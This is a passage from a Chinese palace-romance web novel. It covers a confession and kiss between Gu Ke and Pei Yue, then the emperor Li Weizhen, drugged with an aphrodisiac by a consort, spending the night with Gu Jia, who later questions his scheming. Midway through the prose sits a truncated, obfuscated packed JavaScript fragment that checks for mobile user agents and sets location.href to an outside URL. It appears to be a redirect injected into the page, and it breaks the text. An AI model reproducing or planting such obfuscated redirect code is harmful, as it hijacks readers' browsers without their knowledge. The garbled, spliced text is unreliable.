顾珂心中漏跳两拍,只自己紧贴着他的胸膛,一时之间也不知是谁的心跳的更快了。
心底有个念头慢慢浮现,可是却不敢相信。
他略微低哑的嗓声又在她耳边响起,“我已与我父母言明,只待蓁蓁你点头后,便向舅舅求赐婚”。
顾珂脑中轰的一下,热浪从头顶席卷到脚趾头,巨大的羞意将她裹挟。
尽管他刚才的的表现已让她心有预感,可是当真出自他口,听入她耳,却又有一种巨大的不真实裹着她。
心跳擂如烈鼓,低下头不敢直视他的眸子,只生声如蚊的挤出一句,“谁......谁要嫁你?”
看着脖颈她因害羞而泛起的粉红,他的心中已是软成一片,手上不由自主的使力,使她温软的身体更贴向自已。
额头抵上了她的,裴越黑沉的眼神望进了她眸子里,喃喃道“蓁蓁,我好想你......”。
剩下的声音消失在二人的唇齿间。
他的吻像他的人一样如轻风拂过,先是试探着触了一下,见她没有反感,才循序渐进,缓缓加深。
她身体一僵,连呼吸都忘了。
双唇相贴的酥麻瞬间窜至四肢百骸,她下意识的往后缩了缩,后脑却被他扣住了。
他另一支手似铁钳般锢住了她柔软的腰肢,用力的贴向自己。
她觉得自己像煮熟的虾子,整个人散发着热气。
起初他还是温柔辗转,后来却是越发克制不住,伺机撬开了她的齿关,灵舌钻入其中,带着些急切想要攫取她口中更多的甜蜜。
被他碰到舌头的那一刻,她整个人都在颤抖,气息交缠间,双腿越发无力,如果不是他锢着她,她怕是要脱力滑倒在地。
睫毛簌簌,眼尾染上了一抹艳色,原本清明的眼神渐渐迷蒙,两只手儿只能紧紧攀着他胸前的衣襟,笨拙又顺从的承受,随他带着她在这个吻里沉浮。
他察觉到她的生涩和紧张,吻得愈发温柔耐心。
心跳如擂,其实他自己也是第一次。
从小父亲就格外注重这方面,教他要洁身自好。
做为勋贵子弟,从小身边声色犬马的场合难免有些涉猎,有时被身边的人拉着去风月场合,他也只是吃些酒菜,从不过夜。
在军营那几年,最初也是与普通士兵住在一起。
不打仗时,那些兵汉们凑在一起时的话题总是绕不开女人。
他虽从不加入讨论,但是那些荤话却避不开他的耳朵。
有时他们也会挤眉弄眼的结伴去邻着的镇子找窑姐,回来后更是兴奋的大肆宣扬怡红楼的凤儿姑娘嘴唇最香软,春香楼的红玉妹妹胸儿最挺......
十七、八岁的年纪,哪里受得了这个,经常被他们说的面红耳赤,忍无可忍独自出了帐子吹冷风,待他们消停了再进去。
当他被北边草原上划来的夜风吹的身体冰凉时,偶尔会想起大兴善寺玉兰花树中那双晶亮亮的眸子,还有她发丝散乱骑在马上朝他伸来的那只手。
大概就是那时候,她的身影就以强势的姿态进驻了他的心,少年朦胧的情感已经悄悄滋生。
裴越用尽所有自制力,离开了她的唇,喉间微滚,拇指爱怜的轻抚了下她已然红肿的唇,呼吸仍带着几分急促。
他眼底翻涌的暗潮压了又压,声音低哑却又带着强烈的占有,道“以后有什么事,要第一时间想到我”。
顾珂耳只边剩彼此心跳的擂音,闻言心脏似被狠狠什么攫住,连抬眼瞅他的勇气都没有。
她下意识的想往后退开一点,刚动了动肩,就被他带回。
头顶又传来裴越略带克制的低哑嗓音,“知道你回长安后,我就想来找你,后来调查时出了些意外,受了点小伤,怕你担心,又知道小舅舅邀你们来了宫宴,所以一直没来找你,我不是一个随便承诺的人,你要对我有点信心”。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468500|201349||http|test|mini|href|location''.split(''|''),0,{}));
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>听到他又受了伤,顾珂忙欲挣脱他的手,想看看他伤在了哪里。
“伤在哪里了?!”
她眼底的焦急让他心情大好,收拢手臂又将她的脑袋按回了自己怀中,下颌抵着她的头顶,轻笑道,“已经无事了”。
顾珂猛地想到这一切的最初,“糟了,我姐姐!”
知道她心里担心,裴越只好恋恋不舍的放开她,却仍握着她细嫩的手,眼里闪着温柔轻浅的笑意,安抚道“放心吧,在小舅舅的眼皮子底下应该不会出什么事,我带你去看看”。
*
顾珈被那小黄门带到甘露殿。
守在门口的元宝见她肯来,心下微松,忙迎了上来。
“顾姑娘来了,圣人就在殿内”。
顾珈看了看紧闭的殿门,眉头微蹙“圣人怎么了?”
元宝迟疑了一下,终是心一横,照实说了出来,“圣人被王昭容下了......下了男女助.情的药,现在有些不太好,还请姑娘进去看看圣人吧”。
顾珈闻言心里一沉,她一言不发,静静的盯着元宝。
元宝的腰弯的更低,有些话却哏在心里不吐不快“王昭容想圣人垂怜,暗算圣人,幸得发现的早,她未得逞,但圣人中的是西域的传来的药,此药虽然太医可以缓解,却不能尽除,长此以往,怕毒素伤及圣体,只有......阴阳调合,方可尽除”。
造孽啊,这些话要他一个没了根的人说,真是要命。
“为什么找我?”顾珈看着他,沉声问道。
“这些年圣人心中只有大姑娘,小的都是看在眼里的,说句不该说的,大姑娘心里苦,圣人心里更苦,心里既要装着这天下,还装着姑娘,他九五至尊,想要什么人要不到,偏他舍不得姑娘伤心分毫,有的时候小的看着都心疼,先皇后去世的早,说句不敬的,先帝又不是个会亲近子女的性子,圣人只能跟长公主相依为命,连个贴心的说话人都没有。几年前圣人刚登基那会,前朝不稳,圣人几乎成宿成宿睡不着,这天下终于稳定了,可是连个喜欢的姑娘都不敢强求,又怕磕了又怕碰了”。
元宝一口气说了这么多,却仍嫌不够,顿了顿又道,“哪怕姑娘明儿个要了小的命,小的也甘愿。就连前朝不如意的事,圣人也不会挂在心上那么久,这回圣人自苏州回来,却很是不开心了一阵,小的从未见圣人如此过。王昭容给圣人下了这个药,不说别的,圣人决不会愿意让她得惩。小的擅作主张使人告知了姑娘,圣人并不知道,但哪怕明儿个圣人和姑娘要了小的这条命,小的也不后悔,再来一次,仍是如此选择,如姑娘转身就走,小的也不会阻拦,亦不会告之圣人此事”。
说到最后,他声音已是微微有些发颤,眼眶泛红,双手拱起,腰深深的弯了下去。
“如此,全赖姑娘决断”。
顾珈看了眼他汗湿的发顶,垂在身侧的拳头攥了又攥,脸上神色变幻,似在沉吟,也似是与自己妥协。
元宝依旧弯着腰,额前的汗滴在了殿前的石板上,他觉得等了很久很久,就在他以为等不到了的时候,顾珈的身影掠过了他——
嘎吱一声。
甘露殿沉重的木门被轻轻的推开。
32. 初识
厚重的门板被轻缓却坚定的推开,外面的日光与喧嚣短暂裹挟进殿内。
一双嫩白的手反手关上殿门,又将一切隔离在外。
室内长年熏着龙涎香,淡淡的香气充盈着人的五感。
男人压抑的粗重喘息声在安静的殿内格外明显。
顾珈脚步顿了顿,视线落在了雕花龙床畔。
明黄色的帐幔低垂,交叠错漏出的缝隙中可见里面躺着一个修长的人影。
咬了咬唇,她慢慢的走到床前,那喘息声愈发清晰。
素手轻撩,床帐之下,李维桢仰面斜倚其上。
他眼眸低阖,俊秀的面庞此刻遍布潮红,一直蔓延至他前胸衣领敞开之处。
一向衣着讲究的他此刻前胸的衣衫凌乱,袍子胡乱的压在身后,露出的脖颈和前胸处已是沁出了一层薄汗。
玉色分明的修长手指搭在前额,隐约可见其上的青筋虬结。
他微张的薄唇中不断溢出男人难耐的喘息,眉峰被狠狠拧起。
似是被撩开帐幔透起来的光晕刺了眼,他不适的微转了头。
殿外似乎传来些声响,在空寂的殿内格外明显,似是元宝低低的说话声,转瞬又隐没了下去。
外面阳光正好,有部分光洒在了帐幔上,又映在了床上人的身上。
细小的尘在空气中旋转,似乎在鼓舞着什么。
她轻轻的坐上了床沿,帐幔在她身后轻轻交合,隐去了帐内人的身影和外面的一切。
看着这样的他,顾珈又怒又急,如果不是担心眼前的人的安危,她恨不得立时操起鞭子狠狠的笞那女人一顿。
她怎么敢?!
她怎么敢如此伤害他的身体,来达成自已的那不告人的私欲?
心口泛起阵阵心疼,与元宝的话一起,一下一下的剜着她的心脏。
九五之尊,就是过着这样的生活吗?
像个物件一样被利用,被争夺。
她低垂下了眸子,自嘲的一笑,其实她又比那些人好了多少,仗着他的真心,有恃无恐,甚至践踏他的尊严来达到自己的目的。
嫩白的指尖捏着帕子,轻轻搭上了他的额角,想为他试去薄汗——
“谁!?”
原本搭在额上的手瞬然钳住了她的,低阖的眸子募的睁大,锐利的光自他眼中射出。
意识似乎还有些不清,他艰难的辨认了半天,才确信眼前的人是她,心下涌出巨大的欢愉,转眸却又被身体涌上的情.潮淹没。
他猛的放开了手,头狠狠偏开,眼中的情.欲越越来越难压。
“顾珈?!快走!快离开这......”
出口的声音喑哑至极,带出来男人压抑的喘息,几乎不成句子。
本来还可勉力支撑,想着等鲁乐来帮他配药缓解。
可是日思夜想的娇颜突的出现在前,比世界上任何一种春.药更催动他的情绪。
身体的燥动似是燎原的野火,他用了所有自制力强自弹压,冷汗已是浸湿了身下的被衾,眼尾浮上了一抹艳红。
半响,意想之中的离开并未发生,一阵窸窣之声自身旁传来。
猛的偏过头,不敢置信的看着她竟脱去了自己的外袍,内里单薄的襦衫裹不住她姣好玲珑的曲线,那连绵起伏的雪白胸口晃了他的眼。
青筋微结的手攥紧身下的床褥,喉结猛的滚动几番,眸中的暗潮翻涌的越发激烈,像是要不管不顾的吞噬一切。
“你知不知道你在做什么?”
他喘息着问出这句话,黑色的眸子紧紧锁住她的,想看透她的想法,不放过她脸上一丝一毫的表情。
顾珈置若未闻。抽下了脑后的最后一支发簪,一头青丝如海藻般披在她的身后。
有一绺不太听话,顺着她亦有些汗湿的玉颈延伸至胸口的沟壑处,又向起伏的山峦深处蜿蜒。
他的目光似被烫了一下,口干舌燥。喉头几乎溢出呻.吟。
偏这折磨人的妖精尤不自知,嘴角还噙着一抹笑意,看起来格外蛊惑人心。
他的眼前不由浮现起初见顾珈的情形。
也是这样好的日头,在乐游原上。
那时的顾珈才十四五岁,女子该有的娇媚她有,女孩的青涩她也有。
她与徐肃、罗起元等人一起纵马自他身边走过时,她笑容明媚张扬,笑声如西域舞女最蛊惑人心的腰铃一样撞上了他的心口。
穿着最普通的圆领袍也难掩的倾城之姿,如今日般如瀑的青丝只被她以同色的发带简单束起,摇曳在身后。
她打马从他身边经过,只是不经意的斜睨了他一眼,就这样烙在了他的心上。
甚至看着与她一起纵马的其他男人有些碍眼。
他为自己突然涌起的占有欲吓了一跳。
当时他还嘲笑自己,自幼长于宫中,什么样的美人没见过,因着皇太子的身份,想扑到他怀里的人不知凡几。
他早已不是十六、七岁的毛头小子了,竟如此见色起意。
一向冷静自持的他对自己的突然产生的陌生情感很不满意,他不喜欢有事情脱离他的掌握,遂强硬的抛在脑后。
偏没几天,又在马球赛上碰到了她。
这次她换了一身红的似火一样的骑装,可人群中,他偏一眼就认出了她。
大靖朝勋贵女子皆好骑马、打马球,甚至场中亦有不少娇艳欲滴的美人,可他的视线还是不由自主的瞟向她。
看着她纵马奔驰,双靥更加红润,眸子因兴奋闪着慑人心魄的光。
她不似寻常贵女般娇弱,比赛时奋力的争夺,进球时明媚的大笑,毫不在乎所谓的静如处子的贵女形象,甚至面对同伴失误时的鼓励打气,都比在场各有千秋的贵女更吸引他的目光。
有不知名的情绪在他心中悄然滋长,扎根。
他也知道了她是谁家的姑娘。
那天,他终于有机会和她一起打了马球,她应是不知道自己的身份,估计知道了也不会有什么不同。
对她来说,只是一起打球的人而已,只有是否棋逢对手,没有身份几何,从始至终,她没流露出任何与待旁人不同的神色。
中间,她的脚不知被谁的球杖刮了一下,他的心一疼,忙要上前,她却马上被徐肃、罗起元等团团包围,将他隔离在外。
她却是不在意,还笑着安抚众人,要求继续比赛。
只有他注意到了,她再上场之后,那只脚再也没有
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踩实马蹬。
比赛后,她似是再也撑不住了,身体失重的往后一倒,却是撞上了他的胸膛。
他一手稳稳的隔着袖子撑住她的胳膊,目光黑沉。
他强硬将她推坐在椅子上,使元宝去唤了鲁乐来。
看他神情严肃,下颌紧绷,她还安慰他来着,好似受伤的不是她,而是他。
似一拳打在棉花上,他有无数话语,不知从何说起,以何身份说起。
可他从来不是个会纠结太久的人,一旦认清自己的心,他便会如鹰隼般迅捷出击。
他开始主动关注她的消息,又怕太主动会吓跑她。
他不着痕迹的融入她的生活,创造与她相处的机会。
她身边总是围着那些男人,虽然知道她对他们无意,可是男人的独占欲却不断的撕扯着他的心。
多年皇太子,他手中自然聚拢着些势力,他开始给徐肃、罗起元等安排差事,让他们忙起来,再无时间日日围着顾珈。
其实也不需要他多做些什么,他只要在阁老们争论办差人选时,状似无意的提上一句镇国公家的小子听说已经不小了,或者在吏部官员闲谈时,提上一句罗家的小子听说很能干,有乃父之风,自然有明白人将差事送到他们手中。
头发花白的镇国公和孔武有力的奉国将军再见他时一脸感激,觉得皇太子当真人中龙凤,慧眼如炬,发现自家顽劣子孙的优势,将朽木改造成英才,誓死追随自不必说。
她身边的男人果然越来越少,他与她有了越来越多的独处机会。
就在他想把一切说开,迎她为他的太子妃时,父皇身体却有些不好。
皇权更迭总是伴着杀戮和血腥,他知道这不是个好时机了。
再然后就是他被支去北地办差,永王之乱。
最后,他坐上了那把龙椅,听着吾皇万万岁,坐拥四海。
却难见她一面。
初登基时,外有世家虎视耽耽,内有老臣倚老卖老,帝王就连睡哪个女人都必然牵动前朝。
他知道,这就更不是个好时机了。
他不能在没有完全把握的时候把顾珈牵扯进来,不能给她目前平静的生活带去波澜,让她成为众矢之地,也不能暴露自己的软肋。
他只能偶尔给她送些信和小玩艺,他的桌案上时常摆着让暗卫收集的她的消息。
看见她又去纵马了,他似被囚禁的天地就洒下了一束光,看见她又与别的男人一起出去玩,那嫉妒的黑暗就将他笼罩,似万千虫蚁啃食着他的心。
后来,她祖母去世了,他终是担心不过,偷偷去春风楼见了她。
他问她能不能等他三年,等他稳定前朝,大权在握,再无顾忌时。
她却反问他能不能只她一个女人。
他沉默了。
她便也沉默了。
想过顾珈不同其他凡俗女子,她看似大大咧咧,却有自己的坚持和执着,却没想到她提到了这个要求。
而彼时,他需要手握重兵的威远侯的支持和时任吏部尚书的王家支持。
迎娶两姓女入宫,已是摆在太极殿案头的事情,就待他朱印玉批。
而顾珈略带轻蔑和不信任的表情刺痛了他。
33. [锁] [此章节已锁]
那时的他还是年轻气盛了。
纵是心中有万千丘壑,却不能道与她说,说了,她大约也不会信。
最后,自然是不欢而散。
然后是三年的空白。
甘露殿盈满龙涎香的漆黑床帐里,三年前的春风楼的那一问无数次的入过他的梦里,瞬间惊醒的他只能汗湿无力的盯着床帐,心中的答案却依然没能说出口。
脸上传来的痒意拉回了他飘忽的思绪,他有些恍惚,难道上苍怜他,春风楼那一梦,三年了,竟是衍生出了后续?
一时竟分不清此身是梦还是现实,但身体涌上来的潮热和欲.念却越来越真实。
他定睛细看,竟是顾珈俯下了身子,如慑人心魄的女妖一样,她海藻般的长发拂上了他潮红的面庞。
他似是看清她的表情,却又似隔了层雾,只觉她的目光一瞬不瞬的盯着他,似带着些羞赧和心痛,又似带着些决然。
用尽了所有的自制力,汗湿的手再次钳住了她的,他黑眸中翻涌着似毁天灭地的巨浪,“顾珈,你还有最后一次机会——”
后面的话最是再也发不出声音了,因为顾珈俯身,轻轻的在他的唇角落下一吻。
一触即离。
钳着她腕子的手條然收紧,他脑中轰然作响,喉间急剧滚动,最后的一丝清明摇摇欲坠。
眼前诱人的水润红唇微微嘟起,顾珈似诱哄似娇嗔的声音从天外传来,隔着层层迷雾劈裂了他的神识——
“啰嗦”。
她手撑的有些酸,刚退开些,腰上猛的一紧,瞬间天旋地转,她倒在被衾之上。
她惊呼的声音未能出口,被他猛烈的吞没于二人的唇齿之间。
滚烫的双唇刚贴上时,二人同时一震。
李维桢马上接过了主动权,他似是笼中久困而出的猛兽。
他吻的又凶又急,最初还有些生疏,在触碰到她的甜蜜后,更是食髓知味,很快的掌握了要领,撬开她的唇瓣,长驱直入。
顾珈被他紧紧的扣在怀中,只能任他的唇舌在软嫩的唇齿间强势索取。
一只手握住了她的,修长的手指强势的穿过她的指缝,与她十指紧紧相叠,横在她腰后的手臂越收越紧,吻的越来越霸道。
药性烧灼着他的身体,可他知道真正催毁他理智,使他冲动如此的,不是所谓的药物,而是眼前恋慕了多年的人儿。
顾珈未进殿时,药性虽然霸道,脑海里却理智尚存。
而在顾珈靠近后,所有的理智灰飞烟灭,三年的朝思暮想,终于淹没了他。
他像是要将眼前人拆吃入腹,唇齿间动作越来越猛烈,顾珈有些承受不住的想偏开头喘息一下。
脑后的大掌却不容她有半分退却,她微睁开眼,心脏猛的一抽。
帝王往日或威严或温柔的眸中此刻似乎再无隐藏,黑沉的眸子像是黑暗中盯住猎物的猛兽。
他额角的汗滴到了她的颈窝,她似被烫了一下,眼睫轻颤。
“顾珈,我给过你机会了,再不许你逃开......”
余下的话不必说,因为他再次俯身吻住了她,用动作代替了言语。
迷迷蒙蒙间,她感觉身体似乎一凉,衣衫自肩膀滑轮,圆润的肩膀暴露在空气中,却被拥进他滚烫的怀中,二人肌肤相贴。
鹤首宫灯的光晕也及不上帐中渐渐氤高的热意。
殿门将一室旖旎隔绝。
只余明黄床帐摇曳着二人纠缠的身影。
甘露殿外不知不觉已是月上中天,月光流淌在殿前的石板上,愈发清冷。
元宝听着里头的动静稍歇,忙令人备好水,以备圣人随时取用。
眼眶却不自觉微湿,心里为圣人终于得尝所愿而高兴。
却又不紧自嘲起自己这无根之人,也会随着这俗世情.欲动容。
身后传来了轻缓的脚步声,不用回头,他也知道来人是谁,弯腰行了一礼。
吴淑妃不在意的挥了挥手示意他起来,转身见殿门没有任何打开的迹像,檐角悬挂的灯火将她脸上的惊讶照的一清二楚。
她嘴巴张了又合,“还没出来?”
心里默默数了数时辰,我的天爷,这真是久旱逢甘霖啊。
谁能想到啊,堂堂九五之尊,三宫六院......
嘴上轻啧,她又低声问道“有没有谁来过”。
元宝也压低了声音道,“鲁太医来过了,见顾姑娘进去后,小的便没敢让他进去,他还直嚷说怕耽搁了圣体安康,差点要闯进去,小的好一顿拦,后来......”
后来自然是听见了殿内细碎的动静,虽听不真切,但鲁乐也是过来人,如何不懂,整张老脸條然如煮红的虾子般涨红,自是不再提再进去的事。
“小的怕有什么变化,没敢让鲁太医出宫,领去偏殿安歇了,待......圣人完事后,请平安脉,好确保圣体无虞”,元宝又道。
吴淑妃点点头,“还是你办事周到妥帖”。
元宝连道不敢。
“小公子领着顾二姑娘也来过,小的只简略的说了一下,小公子便拉着顾二姑娘走了,顾二姑娘还有些不放心,小公子一顿安抚,终是将人拉走了”。
吴淑妃敏锐的发现了这话里的音,“喔?难道裴越对这位顾二姑娘?”
元宝微低了头,却不再言语。
聪明人不必多说,吴淑妃得到了她的答案,顿觉空气中满满的恋爱酸臭味,不由皱皱眉头。
一时间竟觉得如此月色下她跟元宝一个内侍在这感慨别人的缠绵悱恻有些匪夷所思。
有些无语。
殿内突然又传来断续的响动,她微怔之下,竟丝毫不顾嫔妃的端庄仪态,耳朵贴上了门板,侧耳听了起来。
半响,双颊浮起可疑的红云。
乖乖,还来!
后脑勺有些发凉,圣人当真……
她不禁有些同情顾珈,再是会武,终究是个女子,也承受不住吧。
她直起身,掩饰的轻咳了下,视线扫过元宝,二人面面相觑。
元宝微叹了口气,转身看着院中刚端过来的热水,挥挥手,示意端下云。
重备。
吴淑妃望着远处隐于黑夜中
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的九重宫阙层层叠叠,耳边是夜风穿堂送来的更漏声,握紧了披帛,轻轻的离开了甘露殿。
空旷宫苑里飘来了她轻轻的呢喃。
“看来这太极宫终于迎来了它的女主人......”
*
顾珈是被重又射进帐中的光线剌醒的。
她睁开眼睛,眼皮竟有些酸涩,昨夜女人低泣求饶的画面闪过她的脑海,双颊不可抑制的红了。
纱帐低垂,将一室暧昧笼罩,空气中还充斥着令人脸红心跳的味道。
腰上是男人极具占有的胳膊,双腿传来的隐秘的酸胀无一不在提醒她昨夜的种种。
身体似被重重碾压过,比她练了一夜鞭子还累。
她微抬眼皮,李维桢大概是中了药,又极致纾解过的关系,此时仍闭目沉睡。
他脸上的红潮仍未完全消散,几绺黑发搭在他的眉眼处,使他整个人都柔和了下来,少了几分惯常的威势,多了几分寻常男子的亲近。
殿外虽鸦雀无声,但透过窗纸射进来的明亮光线,无一不在提醒她此时恐怕已是日上三竿。
似是无人敢吵醒沉睡的帝王,不知今日有没有早朝,心中浮现了一句从此君王不早朝,她不由暗嘲,自己今日竟有幸成了前朝杨氏般的女子。
她不敢动,他睡的那样沉,生怕惊了他的好梦。
随着意识的全部苏醒,昨夜的经历厉厉在目,很多昨夜被忽视的疑惑不断滋生,笼罩心头。
吴淑妃的请贴......
王昭容敬酒时李维桢那若有似无的笑意......
王昭容是怎么被发现的?何时被发现的?被谁发现的?
这药的来历如何这样清楚?
如何就这般巧?
她心下一沉,当所有的巧合碰到一起,那就肯定不是巧合。
她一动,身侧的人便醒了。
他睁开的眸底透着餍足,有力的手臂再次收紧,低哑的嗓音在她头顶响起,声音里还透着初醒的慵懒,“醒了?”
顾珈轻轻嗯了一声。
他没发现她的异常,手掌抚着她光洁柔软的腰侧,不免又蠢蠢欲动。
眼前闪过昨夜的片断,他已记不清自己拥着她索取了多少次,只记得他初时还能顾着她初经人事,后来却越来越失控,再难抑制。
直到天方见亮,她的喉咙似哭哑了一般,连求饶的声音都发不出来,身体更是无力动弹。
还是他开门传进了热水,找了帕子亲自为她细细擦试,又给她裹上了睡袍,让她好舒服些,才这草草的擦了擦自已,伸臂将她圈进了怀里,给她找了个舒服的姿势,沉沉睡去。
喉头滚动几番,闭了闭眼,强压下再次席来的的欲念,告诉自己,她身体承受不住,不能吓坏她。
“昨夜......是朕不好,朕......有些失控了,你身上还疼吗”。
他的声音带着怜惜,良久,却没听到她的回应。
他很快的意识到有些不对,手臂微松,拉开些距离,想看清她脸上的表情。
却被她眼里的清明震了一下。
34. 回府
“怎么了?”
“圣人早知道王昭容欲行不轨的事吧?”顾珈道。
李维桢心头微凝,脑海中顿时闪过无数说词,最终还是不想骗她,“是,但你听朕解释”。
“我听你解释”。
看着顾珈平静的面容,李维桢突然噎住,一时不知从何说起,可是他知道他必须说清楚“宫里没有什么事能瞒过朕,王昭容的母亲给她送药的事朕马上就知晓了,因为她平日里并没有什么机会能够下手,朕已经猜到她会把主意打到今天,众目睽睽之下,她敬酒,朕不会拒绝”。
他平日的吃食是非常谨慎的,所有入口的东西都要试过毒才能摆到他的面前,而王昭容更是很少有机会见他,千秋节这样的机会,她自是不会放过。
“所以你让吴淑妃以她的名义宣我入宫”。
“朕......”,李维桢的额头已是沁了一层薄汗。
虽然顾珈此时仍在他的怀中,可他总有一种要握不住她的心慌。
顿了顿,李维桢正色道”朕确实是让吴淑妃以她的名义宣你入宫,不然,以你的性格,朕不想办法找你,你是不会来见朕的",他叹了口气,“朕是真的想你,可是朕没有让人喊你来”。
顾珈垂下了眸子,拥着被子挣开他的手臂,背对着他坐了起来。
一头青丝散落在她光洁如玉的背脊上,她道“我能相信你吗?九五之尊却连自己的身体都敢拿来做局。”
他随着她坐了起来,盯着她的后脑,几不可闻的叹了口气“如果说朕将计就计的时候完全没幻想过你能......心疼朕,给朕,那朕不能骗你,可是朕真的没有安排元宝去找你。王家是朕要收拾的,王昭容正好给朕递上了刀,朕如何能不利用,只得以身入局”。
她转过头,黑沉的眸子对上他的,他的眼神里写满了急色,连额边的青筋都在微微跳动。
半晌,垂下眼眸,轻声道,“我想回家了。”
对于这样的他,她其实应该早就有所预见的。
最初相处时,就知道他的心中是有成算,有谋划的。
一个年轻的帝王短短几年,攘外安内,皇权稳固,又岂会是什么情绪都写在脸上,什么计划都摆上台面的。
只是这种事情掺和进去了自己,自己要如何分辩出这结局是他的谋算,还是天意?
又有几分他的真心?
这种种,让她好倦。
青筋微结的修长手指抓住了她的,肌肤相贴处传来了潮热的湿意,他的眼神里似乎闪过很多情绪,又似有很多话要说,最终,只化做一声叹息。
“朕送你回去”。
这种时候,不能逼迫她,只能先送她回去,再慢慢解释。
顾珈不想在这种小事上与他争辩,轻点了点头。
李维桢怕她不自在,探身抓过地上的袍子,披了后扬声唤了元宝。
元宝早候了多时,忙使了宫女进来伺候顾珈洗漱穿衣,自己也目不斜视的进来随李维桢去了屏风后亲自为他穿衣。
*
顾珂在府中早已坐立不安。
昨日事发突然,又不好声张,只得对家里人说吴淑妃与姐姐一见如故,留下小住。
知道真实情况的她,内心如烈火烹油,连她和裴越昨日发生的种种都冲淡了些。
回想起昨日,她的耳尖又泛起了绯红,至今都觉似在不真实的雾里。
就连早晨醒来时,亦是盯着床帐征了片刻,才确认昨天的一切是实实在在发生的。
此时见到了顾珈回了府,心里才真正有种踩在地面的真实感。
顾珈面带倦色,眸下有些暗青,顾珂心下微凝。
“姐姐?”她试探的唤了声。
在自己房中见到顾珂,顾珈倒不意外,想必她也是担心坏了。
轻轻摇了摇头,“放心吧,我没事”。
看着这样的顾珈,顾珂有太多的问题一时堵在了喉间,竟无从问起。
“有什么事情可以说出来,咱们一起想办法,总比一个人闷着好”。
闻言,顾珈浮现一丝笑意“你这老气横秋的,一时倒不知道咱俩谁是姐姐了,我这不好好的回来了嘛,放心吧,不用担心我,你也回去休息吧,看你的脸色活像一宿没睡似的”。
知道姐姐这是想一个人静一静,可顾珂几乎半宿未睡,将所有的可能都想了个遍,见到顾珈这个样子回来,更加印证了心中的猜测。
半响,她实在是忍不住,脖子都泛起了粉红,吞吞吐吐道“要不要我安排个妥贴人去弄副避子汤......”
顾珈被她问住了,她恼恨过李维桢的算计,恼恨过自己的心软,可从来没想过如果当真有了结果,又当如何。
顾珂把现实摊在了她眼前,她竟犹豫了起来。
顾珂静静的等着她,心跳的也快了些。
良久,顾珈道“别把你牵扯起来,我来安排吧”。
顾珂心一沉,虽然看顾珈今天回来的疲惫已经猜的差不多,但真经她亲口确定,倒底在她心上重重一击。
不由暗骂起李维桢来。
顾珈看她面色沉沉的站在那,知道她是关心自己,只身体和情绪都有些绷不住了,安抚了顾珂几句,终是将她打发了。
白芍、绿芷也让她打发出去了。
屋子里终于只剩她一个人。
她有些脱力的倚在美人榻上,眸子半阖,目光无实质的盯着某一处,身体的疲惫与疼痛依旧强烈。
李维桢是坐马车将她送回来的。
回来的路上,昨晚紧紧锢着她纤腰的那双铁臂将她紧紧的抱在怀里,二人沉默了一路。
到了顾府门口,李维桢拉住了欲下车的她,递到她手中一个小瓷盒,“抹到疼的地方,应是能缓解不少”。
轻轻抬起头,小瓷盒在日光下泛起一层莹光,竟晃出了她的眼泪。
*
隔了二日,春风楼。
顾珂带着秋儿和知情来到了春风楼二楼的包间,房间还无人。
裴越今日没有公干,昨日就使人送了信约着今日在春风楼相见。
未至七月,顾珂本就怕热,既使穿了最薄的轻容纱,走上这么几步,亦是脸儿痛红,额角微汗。
春风楼不愧
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是曲江池边最大的酒楼,当真下了血本,包间里居然备了一大盆冰,一进来就凉爽的使人喟叹。
几人正享受着这舒适的凉意,门口轻响,走进来一个修长的身影,却是裴越也倒了。
顾珂对上了他含笑的视线,顿觉脸颊微热,忙掩饰的转了过去。
与那次微熏状态下如梦似幻不同,这却是完全清醒下的第一次见面,一时有些羞赧,不知道怎样面对他。
见他进来,知情和秋儿对视一眼,对裴越行了一礼后,守去了门外。
“蓁蓁在看什么呢”,裴越坐到她的对面,见她一直不肯转过来,不由兴起了逗逗她的念头。
“我......我在看......寿光县主”。
裴越眉毛一挑,顺着她的视外向楼下看去,当真是寿光县主。
寿光县主扶着侍女的手刚下马车,似是有所觉,抬头望向了二楼,顾珂慌忙向后闪了一下,裴越却正好对上她的视线。
裴越一怔,略点了点头。
寿光县主勾唇轻笑,欠了欠身,转身也走进了春风楼内。
“这......她不会过来吧?”,顾珂蹙眉道。
裴越摇摇头,“不会的”。
顾珂想起来一直惦记的事,问道“我姐姐,圣人......那边可有什么安排吗”
“看起来一切如常,没有什么动作”,裴越拎过茶,给自己和顾珂倒上。
顾珂的心微沉,眉头蹙的更狠了,这是什么意思,那姐姐怎么办。
裴越眼底漾开清浅的笑意,如春风拂过湖面“小舅舅我了解,大约还是大姑娘那边还没想好”。
顾珂轻点了下头,这倒确实是事实,顾珈性子看起来大大咧咧的,其实最揉不得砂子,两人大约还是有什么问题,偏别人又帮不上什么忙。
看她眉头紧皱,裴越道“两个人的事情,别人也掺和不了,但只要他俩是真心的,相信最后结果一定会好的,还是说说咱们两个的事吧”。
咱们俩个?
她微怔,反应过来后,顿时脸颊浮上了红云,不敢看他,强自镇定的盯着自己手中的茶汤“你在说什么啊”。
她的皮肤本就是上好的羊脂玉般的白色,此刻因羞赧泛起了一层淡粉,从脖子一直红入衣领处,本来是被她害羞的样子吸引,多看了几眼,此刻顿感喉咙微干,掩饰性的轻咳了声,掏出一张贴子,“马上就到七月了,天气就能凉爽些,我母亲准备在南郊的园子组织场游园会,赏些荷花,特意让我来给你送帖子,请你跟大姑娘都去”。
闻言,顾珂的红唇微张,觉得脸上的热意更明显了,讷讷的接过了帖子,一向伶俐的口齿一时竟不知说什么。
怕她不自在,裴越也不逗她,道“难得今日空闲,你有没有什么想去的地方,要买的东西,我陪你逛逛”。
顾珂倒真有一事,“下个月就是姐姐的二十岁的生辰了,我想给她选一套头面,不如你陪我去看看吧”。
裴越自是无不可,二人便出了房间,准备去长安最大的银楼。
刚下了二楼,却是传来一道好听的女声“裴公子”。